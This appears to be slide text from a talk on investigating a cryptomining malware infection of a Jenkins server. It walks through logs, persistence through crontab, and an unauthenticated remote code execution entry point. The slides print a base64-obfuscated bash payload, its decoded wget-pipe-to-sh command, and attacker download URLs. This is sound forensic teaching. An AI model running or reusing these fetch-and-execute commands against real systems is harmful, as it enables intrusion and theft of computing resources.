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About this talk…



Initial alert from IT department



What does this mean?

TECHNOLOGY

WHEN DID IT HAPPEN

SPECIFIC SERVER: “NORA”

WHAT WAS EXECUTED

WHAT TRIGGERED 
THE ALERT WHO WAS CONTACTED

RESOURCE ATTEMPTED 
TO DOWNLOAD



Downloading the suspicious file

• 298 lines of code of pure PKILL


• PKILL kill processes by name


• Removing other processes in 
the system (removing the 
competition)



• Removes the existing jobs in the crontab


• Creates a new crontab job to periodically download a new version of the 
script and stores it a temporal file in /tmp/cron.


• The temporal file is only used to load the cron job in the crontab and then 
is deleted.



• First download: http://192.99.142[.]232:8220/gcc  

• Second download: http://192.99.142[.]232:8220/minerd  

• Third download: http://192.99.142[.]232:8220/atd2  

• Fourth download: http://192.99.142[.]232:8220/atd3  

• Fifth download: http://192.99.142[.]232:8220/yam  





Observed behavior until now
• Removes a list of known processes using pkill (removing older versions of 

itself or removing the competition)


• Adds itself to the crontab to gain persistence.


• Downloads two files: one binary file (malware) and a JSON file (configuration): 


• Both files are stored in /var/tmp/ as supsplk and config.json.


• There are several download attempts, in case some are not working.


• The binary file is executed using the downloaded configuration (JSON file).


• The malware starts mining crypto currency.



Are we really infected?



Reviewing Logs: Forensic Analysis

• Goal:  being able to explain what happened and how it happened to 
remediate the infection and prevent similar attacks in the future.


• For this investigation we had full access to the infected machine and all 
the logs available of the running applications.



What processes are running right now?
• Running processes: mysql, apache2, rpc.statd, rpcbind, redmine, mongodb, 

PassengerhelperAgent,  ./supsplk -c config.json -t 2



Reviewing Apache Logs
104.225.238.104 - - [19/Feb/2018:08:05:08 +0100] "GET /cli HTTP/1.1" 404 499 "-"


192.99.142.227 - - [19/Feb/2018:12:04:01 +0100] "POST /jenkins/cli HTTP/1.1" 200 2670 "-"


192.99.142.227 - - [19/Feb/2018:12:04:02 +0100] "POST /jenkins/cli HTTP/1.1" 200 213 "-"


192.99.142.227 - - [19/Feb/2018:12:04:03 +0100] "POST /jenkins/cli HTTP/1.1" 200 2670 "-"


192.99.142.227 - - [19/Feb/2018:12:04:04 +0100] "POST /jenkins/cli HTTP/1.1" 200 213 "-"


192.99.142.227 - - [19/Feb/2018:12:04:05 +0100] "POST /jenkins/cli HTTP/1.1" 200 2670 "-"


192.99.142.227 - - [19/Feb/2018:12:04:06 +0100] "POST /jenkins/cli HTTP/1.1" 200 213 “-"


[tomcat logs stop at  Feb 19, 2018 12:05:02 PM]



Why did Tomcat stopped?
Feb 19, 2018 12:04:04 PM hudson.remoting.SynchronousCommandTransport$ReaderThread run


SEVERE: I/O error in channel HTTP full-duplex channel 9763bad9-c57a-4b5d-9eeb-faca755efad0


hudson.remoting.DiagnosedStreamCorruptionException


(…)


'mbash -c 
{echo,d2dldCAtcSBodHRwOi8vMTkyLjk5LjE0Mi4yMzI6ODIyMC9sb2dvNC5qcGcgLU8gLSB8IHN
o}|{base64,-d}|{bash,-i}t'


(…)


Base64 decode: wget -q http://192.99.142.232:8220/logo4.jpg -O - | sh

http://192.99.142.232:8220/logo4.jpg


CVE-2017-1000353

“The versions of Jenkins 2.56, 2.46.1 LTS y older are 
vulnerable to remote code execution (RCE) with no 

authentication.”



What did we discover so far?

• RCE vulnerability in Jenkins


• Apache and Tomcat logs indicate an attack and code execution.


• There’s a malware miner running in the Nora server.


• The CPU usage indicates that the malware is abusing the resources.





What are the remaining 
questions?









Thank you!


